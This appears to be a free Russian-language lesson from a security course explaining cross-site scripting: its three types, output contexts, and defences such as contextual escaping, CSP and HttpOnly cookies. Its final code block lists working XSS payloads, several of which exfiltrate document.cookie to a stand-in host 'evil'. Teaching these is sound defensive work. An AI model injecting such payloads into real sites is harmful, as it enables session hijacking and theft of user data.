К основному контенту
secenta
СтатьяБесплатный урок5 мин

A03: Межсайтовый скриптинг (XSS)

Что такое XSS, его три типа (reflected, stored, DOM-based), почему он возникает и как защититься контекстным экранированием, CSP и HttpOnly-куками.

текстЧто такое XSS и откуда он берётся

Межсайтовый скриптинг: чужой код в вашем браузере

XSS (Cross-Site Scripting) — это класс уязвимостей, при котором атакующий добивается выполнения своего JavaScript в браузере жертвы в контексте уязвимого сайта. Браузер не отличает скрипт, который написал разработчик, от скрипта, который подсунул злоумышленник: для него это просто код, пришедший с домена bank.example. А значит, чужой скрипт получает доступ ко всему, что доступно сайту: к кукам, к DOM, к токенам в localStorage, к формам и к действиям от имени пользователя.

Аналогия: представьте нотариуса, который заверяет любой текст, не читая его. Вы приносите бумагу «прошу выдать вклад предъявителю», нотариус ставит печать — и для банка документ выглядит абсолютно легитимным. XSS — это печать доверенного домена на чужом коде.

Первопричина: вывод недоверенных данных без экранирования

Корень XSS — не «опасный JavaScript», а то, что приложение вставляет данные, контролируемые пользователем, прямо в HTML-страницу без преобразования под контекст вывода. Имя пользователя, текст комментария, параметр из URL, значение из БД — всё это недоверенные данные. Если они попадают в разметку «как есть», браузер интерпретирует символы <, >, ", ' как структуру документа, а не как текст. Строка <script>...</script>, пришедшая в комментарии, становится исполняемым тегом.

Типичная ошибка: считать XSS проблемой ввода («запретим тег script на форме»). Чёрные списки тегов обходятся десятками способов (<img onerror>, <svg onload>, javascript:-ссылки, кодировки). Уязвимость живёт на выводе: один и тот же ввод безопасен в одном месте страницы и опасен в другом.

Мини-итог: XSS — это выполнение чужого скрипта в доверенном контексте сайта; первопричина — вставка недоверенных данных в HTML без экранирования под конкретный контекст вывода.

текстТри типа XSS: reflected, stored, DOM-based

Откуда приходит полезная нагрузка

XSS принято делить на три типа по тому, как нагрузка попадает в страницу.

Reflected (отражённый)

Нагрузка приходит в запросе (чаще в параметре URL) и сразу отражается в ответе сервера без сохранения. Классический пример — страница поиска, которая выводит «Вы искали: <запрос>». Если запрос не экранируется, ссылка вида https://site/search?q=<script>...</script> выполнит скрипт у каждого, кто по ней перейдёт. Reflected XSS требует доставки жертве вредоносной ссылки (фишинг, реклама, сообщение в мессенджере).

Stored (хранимый)

Нагрузка сохраняется на сервере (в БД, файле, профиле) и отдаётся всем, кто открывает соответствующую страницу. Комментарий, имя в профиле, описание товара, сообщение в чате поддержки. Это самый опасный тип: жертве не нужно переходить по ссылке — достаточно открыть обычную страницу. Один сохранённый скрипт может атаковать тысячи пользователей, включая администраторов в их панели.

DOM-based

Уязвимость целиком на клиенте: сервер может отдавать корректный HTML, но JavaScript на странице сам берёт данные из источника (location.hash, document.referrer, localStorage) и небезопасно кладёт их в DOM через innerHTML, document.write, eval. Сервер нагрузку даже не видит — фрагмент URL после # на сервер не отправляется.

Аналогия: reflected — это записка, которую вам подсунули и вы её зачитали вслух; stored — записка, приклеенная к доске объявлений для всех; DOM-based — вы сами достали записку из кармана и зачитали, не глядя.

Типичная ошибка: чинить XSS только на сервере, забывая про DOM-based. Серверный шаблонизатор не спасёт, если клиентский код делает el.innerHTML = location.hash.

Мини-итог: reflected отражается из запроса, stored сохраняется и бьёт по всем, DOM-based живёт в клиентском JS — защищать нужно все три точки.

текстКонтексты вывода и защита в первопричину

Почему «просто экранировать» недостаточно

Ключ к защите — понять, что экранирование зависит от контекста, в который попадают данные. Одна и та же строка требует разной обработки в разных местах HTML.

Четыре основных контекста

  • Тело HTML (<div>ДАННЫЕ</div>): опасны <, >, &. Нужно HTML-экранирование (&lt;, &gt;).
  • Значение атрибута (<input value="ДАННЫЕ">): опасны кавычки — закрыв ", атакующий добавит onmouseover=.... Атрибуты всегда брать в кавычки и экранировать их.
  • Внутри <script> (var x = 'ДАННЫЕ'): HTML-экранирование тут бесполезно, нужно JS-экранирование/сериализация через JSON.stringify; вставлять сырые данные в JS-контекст крайне опасно.
  • URL/значение href (<a href="ДАННЫЕ">): схема javascript: выполняет код. Проверять схему (только http/https) и URL-кодировать.

Защита, бьющая в корень

  1. Автоэкранирование фреймворка. Современные движки (Vue, React, Angular, Thymeleaf, шаблоны Django) по умолчанию экранируют выводимые данные под HTML-контекст. Опасны лишь сознательные «дыры»: v-html, dangerouslySetInnerHTML, innerHTML. Их нужно избегать или прогонять через санитайзер (DOMPurify).
  2. Контекстное экранирование вручную там, где нет автоэскейпа — каждому контексту своя функция.
  3. Content Security Policy (CSP). HTTP-заголовок, ограничивающий источники скриптов. Строгая политика (script-src 'self' без unsafe-inline, либо nonce/hash) не даёт выполниться инлайн-скрипту, даже если нагрузка просочилась — это второй рубеж, а не замена экранированию.
  4. HttpOnly на кукиах сессии. Флаг HttpOnly запрещает JavaScript читать куку через document.cookie. Даже при успешном XSS атакующий не угонит сессионный токен напрямую. Дополняйте Secure и SameSite.

Типичная ошибка: одно «универсальное» экранирование на весь сайт. HTML-эскейп не спасёт внутри <script> или в href="javascript:..." — там нужны другие правила.

Мини-итог: защита от XSS — это контекстно-зависимое экранирование вывода плюс эшелон CSP и HttpOnly-кук; универсального «одного фильтра» не существует.

кодНагрузки XSS по контекстам
// Одна задача (угон сессии), но под каждый контекст нужна своя нагрузка — поэтому и защита (экранирование) должна быть контекстной. Заметьте: HttpOnly-кука сломала бы пункты, читающие document.cookie.
html
<!-- 1) Тело HTML: классический инъект тега -->
<script>fetch('https://evil/c?'+document.cookie)</script>

<!-- 2) Тело HTML без <script>: событие на картинке -->
<img src=x onerror="new Image().src='https://evil/c?'+document.cookie">

<!-- 3) Выход из значения атрибута: закрываем кавычку и вешаем обработчик -->
"><svg onload=alert(document.domain)>
<!-- если данные попали в value="...", получится:
     <input value=""><svg onload=alert(document.domain)>"> -->

<!-- 4) Контекст URL/href: схема javascript: -->
<a href="javascript:fetch('https://evil/c?'+document.cookie)">click</a>

<!-- 5) Внутри <script> var x='ДАННЫЕ': закрываем строку и тег -->
<!-- payload: ';document.location='https://evil/c?'+document.cookie;// -->

Обсуждение

Задавайте вопросы — преподаватели и сокурсники ответят.

0 тем

Здесь пока тихо. Задайте первый вопрос — это поможет другим.